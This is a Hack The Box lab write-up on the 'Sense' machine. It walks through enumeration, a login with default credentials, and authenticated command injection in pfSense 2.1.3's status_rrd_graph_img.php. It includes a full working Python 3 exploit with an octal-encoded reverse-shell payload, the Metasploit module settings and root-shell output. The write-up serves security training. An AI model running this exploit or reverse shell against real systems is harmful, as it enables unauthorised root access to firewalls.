Sense: Authenticated RCE on pfSense - Hack The Box

Table of Contents

Initial Reconnaissance – Port Scanning

To begin the assessment of the Sense machine, I conducted a basic TCP port scan using nmap with default scripts (-sC), service version detection (-sV), and host discovery disabled (-Pn). The target IP was 10.10.10.60.

[kali@machine01 ~/htb/sense]$ nmap -sC -sV -Pn 10.10.10.60
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-30 22:08 EDT
Nmap scan report for 10.10.10.60
Host is up (0.14s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT    STATE SERVICE  VERSION
80/tcp  open  http     lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
|_http-title: Did not follow redirect to https://10.10.10.60/
443/tcp open  ssl/http lighttpd 1.4.35
|_http-title: Login
|_ssl-date: TLS randomness does not represent time
|_http-server-header: lighttpd/1.4.35
| ssl-cert: Subject: commonName=Common Name (eg, YOUR name)/organizationName=CompanyName/stateOrProvinceName=Somewhere/countryName=US
| Not valid before: 2017-10-14T19:21:35
|_Not valid after:  2023-04-06T19:21:35

The scan revealed two open ports: HTTP on port 80 and HTTPS on port 443, both served by lighttpd 1.4.35. The HTTP service forces a redirect to HTTPS, where a login page is accessible.

Web Enumeration

Navigating to the web application over HTTPS (port 443) revealed a login interface branded with pfSense, a well-known open-source firewall and router distribution:

Recognizing the pfSense environment, an initial authentication attempt was made using the default credentials commonly associated with pfSense installations:

  • Username: admin
  • Password: pfsense

However, the login was unsuccessful, indicating that either the default credentials had been changed or additional access restrictions were in place. This suggested the need for deeper enumeration and potential alternative attack vectors.

Directory and File Enumeration

To extend the reconnaissance, a content discovery scan was performed against the web server using ffuf. The scan targeted common directories and .txt files, leveraging the medium-sized wordlist from SecLists:

ffuf -u https://10.10.10.60/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e .txt -ic

The scan returned several interesting endpoints:

themes                  [Status: 301]
css                     [Status: 301]
includes                [Status: 301]
javascript              [Status: 301]
changelog.txt           [Status: 200]
classes                 [Status: 301]
widgets                 [Status: 301]
tree                    [Status: 301]
shortcuts               [Status: 301]
installer               [Status: 301]
wizards                 [Status: 301]
csrf                    [Status: 301]
system-users.txt        [Status: 200]
filebrowser             [Status: 301]
%7Echeckout%7E          [Status: 403]

Among the discovered files, two plaintext files stood out due to their potentially sensitive contents: changelog.txt and system-users.txt.

changelog.txt

$ curl https://10.10.10.60/changelog.txt -k
# Security Changelog 

### Issue
There was a failure in updating the firewall. Manual patching is therefore required

### Mitigated
2 of 3 vulnerabilities have been patched.

### Timeline
The remaining patches will be installed during the next maintenance window   

This changelog suggests that the system may be vulnerable due to incomplete patching, which is valuable information when considering known exploits against specific pfSense versions.

system-users.txt

$ curl https://10.10.10.60/system-users.txt -k
####Support ticket###

Please create the following user

username: Rohit
password: company defaults

This file revealed a user named Rohit and hinted at the use of a default password, likely referring to the default pfSense credentials. This finding introduced a promising attack vector via credential-based authentication attempts.

Authenticating into pfSense

Based on the previously discovered username Rohit, an authentication attempt was made using the lowercase version of the username (rohit) and the default pfSense password: pfsense.

  • Authentication Request
POST /index.php HTTP/1.1
Host: 10.10.10.60
Referer: https://10.10.10.60/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 173
Connection: keep-alive

__csrf_magic=sid:2e5b5055a018b556bff51767102a316b9bbbf75e,1751473405;ip:aa75b932f72c8173dc7b044c002960034a3e5177,1751473405&usernamefld=rohit&passwordfld=pfsense&login=Login
  • Server Response
HTTP/1.1 302 Found
Expires: Fri, 04 Jul 2025 18:23:40 GMT
Expires: 0
Cache-Control: max-age=180000
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Set-Cookie: PHPSESSID=ad8f07e935475faa5160948010fda3b2; path=/
Last-Modified: Wed, 02 Jul 2025 16:23:40 GMT
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
Location: /
Content-type: text/html
Content-Length: 0
Date: Wed, 02 Jul 2025 16:23:40 GMT
Server: lighttpd/1.4.35

The HTTP 302 Found response with a Location: / header, along with the presence of a valid session cookie (PHPSESSID), confirmed a successful login.

Once authenticated, the pfSense dashboard revealed version information under the System Information section:

2.1.3-RELEASE (amd64)
built on Thu May 01 15:52:13 EDT 2014
FreeBSD 8.3-RELEASE-p16

This version of pfSense is significantly outdated and known to contain several publicly disclosed vulnerabilities, making it a strong candidate for privilege escalation or remote code execution in the next phase.

Exploiting pfSense – Authenticated Command Injection via status_rrd_graph_img.php

While exploring the authenticated web interface of pfSense 2.1.3, a known vulnerability was identified in the status_rrd_graph_img.php endpoint. This page is used to render RRD traffic graphs and is accessible to non-administrative users with graph/status viewing privileges.

Vulnerability Overview

The vulnerability is a command injection in the graph GET parameter. Although pfSense attempts to sanitize the input using a regular expression filter, it fails to properly filter out certain metacharacters — specifically, the pipe (|) operator is not blacklisted. This allows an attacker to append system commands to the expected input.

To bypass basic input filtering, the injected command can be encoded using octal representations. This is particularly useful for crafting multi-line payloads or injecting characters that may otherwise be blocked.

Manual exploitation

After identifying the vulnerability and confirming that the target was running pfSense 2.1.3, I reviewed the technical details disclosed in the following resources:

  • Advisory/PoC: Exploit-DB 39709
  • Original Exploit Code: Exploit-DB 43560

Although a public exploit was available, it required adaptation to properly handle modern Python 3 syntax and bypass TLS certificate verification when interacting with pfSense’s web interface. For a better understanding and control over the attack chain, I developed a customized Python 3 exploit, tailored for testing in a lab environment.

Functional Python 3 Exploit

The script performs the following steps:

  1. Authenticates to the pfSense web interface using valid credentials.
  2. Extracts the CSRF token required for authenticated requests.
  3. Crafts a payload using octal-encoded characters to bypass input filtering.
  4. Sends a command injection payload via the vulnerable status_rrd_graph_img.php endpoint.
  5. Executes a reverse shell connecting back to the attacker.
#!/usr/bin/env python3

import argparse
import requests
import urllib.parse
import urllib3
import collections
import sys

# Disable warnings about unverified HTTPS requests
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def encode_payload(command):
    return ''.join(['\\' + oct(ord(c)).lstrip('0o') for c in command])

def get_csrf_token(html):
    try:
        index = html.index("csrfMagicToken")
        token = html[index:index+128].split('"')[-1]
        return token
    except ValueError:
        return None

def main():
    parser = argparse.ArgumentParser(description="pfSense <= 2.1.3 RCE Exploit via status_rrd_graph_img.php")
    parser.add_argument("--rhost", required=True, help="Remote target host (pfSense)")
    parser.add_argument("--lhost", required=True, help="Local host IP (listener)")
    parser.add_argument("--lport", required=True, help="Local port (listener)")
    parser.add_argument("--username", required=True, help="pfSense username")
    parser.add_argument("--password", required=True, help="pfSense password")
    parser.add_argument("--proxy", help="Optional proxy (e.g., http://127.0.0.1:8080)")
    args = parser.parse_args()

    rhost = args.rhost
    lhost = args.lhost
    lport = args.lport
    username = args.username
    password = args.password
    proxy = args.proxy

    proxies = {"http": proxy, "https": proxy} if proxy else {}

    # Reverse shell Python one-liner
    command = f"""
    python -c 'import socket,subprocess,os;
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
    s.connect(("{lhost}",{lport}));
    os.dup2(s.fileno(),0);
    os.dup2(s.fileno(),1);
    os.dup2(s.fileno(),2);
    p=subprocess.call(["/bin/sh","-i"]);'
    """

    payload = encode_payload(command)

    login_url = f'https://{rhost}/index.php'
    exploit_url = f"https://{rhost}/status_rrd_graph_img.php?database=queues;printf+'{payload}'|sh"

    headers = collections.OrderedDict([
        ('User-Agent', 'Mozilla/5.0'),
        ('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'),
        ('Accept-Language', 'en-US,en;q=0.5'),
        ('Referer', login_url),
        ('Connection', 'close'),
        ('Upgrade-Insecure-Requests', '1'),
        ('Content-Type', 'application/x-www-form-urlencoded')
    ])

    session = requests.Session()

    # Step 1 – Get CSRF token
    try:
        response = session.get(login_url, headers=headers, verify=False, proxies=proxies)
        csrf_token = get_csrf_token(response.text)
    except Exception as e:
        print(f"[-] Failed to connect to {rhost}: {e}")
        sys.exit(1)

    if not csrf_token:
        print("[-] CSRF token not found.")
        sys.exit(1)

    print("[+] CSRF token obtained.")

    # Step 2 – Login
    login_data = collections.OrderedDict([
        ('__csrf_magic', csrf_token),
        ('usernamefld', username),
        ('passwordfld', password),
        ('login', 'Login')
    ])
    encoded_data = urllib.parse.urlencode(login_data)

    try:
        login_request = session.post(login_url, data=encoded_data, headers=headers, cookies=session.cookies, verify=False, proxies=proxies)
    except Exception as e:
        print(f"[-] Login request failed: {e}")
        sys.exit(1)

    if login_request.status_code == 200:
        print("[+] Logged in successfully.")
        print("[*] Running exploit...")

        try:
            exploit_request = session.get(exploit_url, headers=headers, cookies=session.cookies, verify=False, proxies=proxies, timeout=5)
            if exploit_request.status_code:
                print("[!] Exploit request sent. Check your listener.")
        except requests.exceptions.ReadTimeout:
            print("[+] Exploit completed (connection timeout expected).")
        except Exception as e:
            print(f"[-] Exploit failed: {e}")
            sys.exit(1)
    else:
        print("[-] Login failed.")

if __name__ == "__main__":
    main()

Exploit Execution

The exploit was run using the following command, with traffic routed through Burp Suite for inspection:

[kali@machine01 ~/htb/sense/exploit-py]$ python3 my.py \
  --rhost 10.10.10.60 \
  --lhost 10.10.10.1 \
  --lport 4444 \
  --username rohit \
  --password pfsense \
  --proxy http://127.0.0.1:8080

[+] CSRF token obtained.
[+] Logged in successfully.
[*] Running exploit...
[+] Exploit completed

Reverse Shell Access

A listener was started using netcat to catch the incoming shell:

[kali@machine01 ~/htb/sense/exploit-py]$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.10.1] from (UNKNOWN) [10.10.10.60] 47630
sh: can't access tty; job control turned off
# 

Upon successful connection, we obtained a root shell on the target system, confirming that the web application was executing commands in the context of the root user.

Exploitation via Metasploit

As an alternative to manual exploitation, the vulnerability was also successfully exploited using the Metasploit Framework, which includes a working module for this exact issue.

Module Overview

The Metasploit module that targets this vulnerability is:

exploit/unix/http/pfsense_graph_injection_exec

This module exploits a command injection vulnerability in the graph parameter of the /status_rrd_graph_img.php endpoint, which is available to authenticated users. It injects an octal-encoded reverse shell payload, bypassing input filtering in the backend.

Exploit Configuration

The module was configured in msfconsole as follows:

msf6 > use exploit/unix/http/pfsense_graph_injection_exec
msf6 exploit(unix/http/pfsense_graph_injection_exec) > set RHOSTS 10.10.10.60
msf6 exploit(unix/http/pfsense_graph_injection_exec) > set USERNAME rohit
msf6 exploit(unix/http/pfsense_graph_injection_exec) > set PASSWORD pfsense
msf6 exploit(unix/http/pfsense_graph_injection_exec) > set LHOST 10.10.10.1
msf6 exploit(unix/http/pfsense_graph_injection_exec) > set LPORT 4444
msf6 exploit(unix/http/pfsense_graph_injection_exec) > run

Successful Exploitation

Upon execution, the module successfully logged in, injected the payload, and established a reverse shell:

[*] Started reverse TCP handler on 10.10.10.1:4444
[*] Attempting to login...
[*] Authenticated successfully
[*] Sending payload...
[*] Command Stager progress - 100.00% done
[*] Command shell session 1 opened (10.10.10.1:4444 -> 10.10.10.60:46482) at 2025-06-30 23:05:12 -0300

A root shell was obtained immediately:

id
uid=0(root) gid=0(wheel) groups=0(wheel)

This confirms that the vulnerable service executes injected commands with root privileges, making this exploit highly effective for gaining full control of the system.

Flag Collection

With a root shell obtained on the target machine, the final step was to locate and extract the user and root flags. On Hack The Box systems, these flags are typically located in the home directory of the user and in the /root directory, respectively.

User Flag

The system had a single user directory under /home:`

# ls /home
rohit

Inspecting the contents of that user’s home directory revealed the user flag:

# cat /home/rohit/user.txt
[REDACTED]

Root Flag

Since the reverse shell was already running with root privileges, accessing the root flag was straightforward:

# cat /root/root.txt
[REDACTED]

Both flags were successfully retrieved, confirming full compromise of the target system.

Conclusion

The Sense machine from Hack The Box presented a realistic scenario involving misconfigurations in a widely used firewall distribution: pfSense 2.1.3. Through a combination of web enumeration, credential discovery, and authenticated exploitation, full system compromise was achieved.

Key takeaways from this engagement include:

  • Proper handling of user-supplied input is critical, especially in diagnostic tools that interface with the operating system.
  • Sensitive information—such as default credentials or internal documentation—should never be exposed through accessible paths.
  • Even non-admin accounts can pose a significant risk if backend logic fails to enforce proper command restrictions.

Both manual exploitation (through crafted octal-encoded payloads) and automated methods (via Metasploit) proved effective, ultimately yielding root-level access and both user and root flags.

References

  1. Exploit-DB 43560 – pfSense ≤ 2.1.3 Command Injection
    Original advisory and proof of concept for the status_rrd_graph_img.php vulnerability.

  2. Exploit-DB 39709 – Authenticated RCE in pfSense via RRD Graph Injection
    Detailed explanation of the vulnerability and payload encoding techniques using octal representation.

  3. Metasploit Module – exploit/unix/http/pfsense_graph_injection_exec
    Official Metasploit module used to automate exploitation of pfSense RRD Graph command injection.

  4. pfSense 2.1.3 Release Notes
    Provides context for the software version, release date, and known vulnerabilities.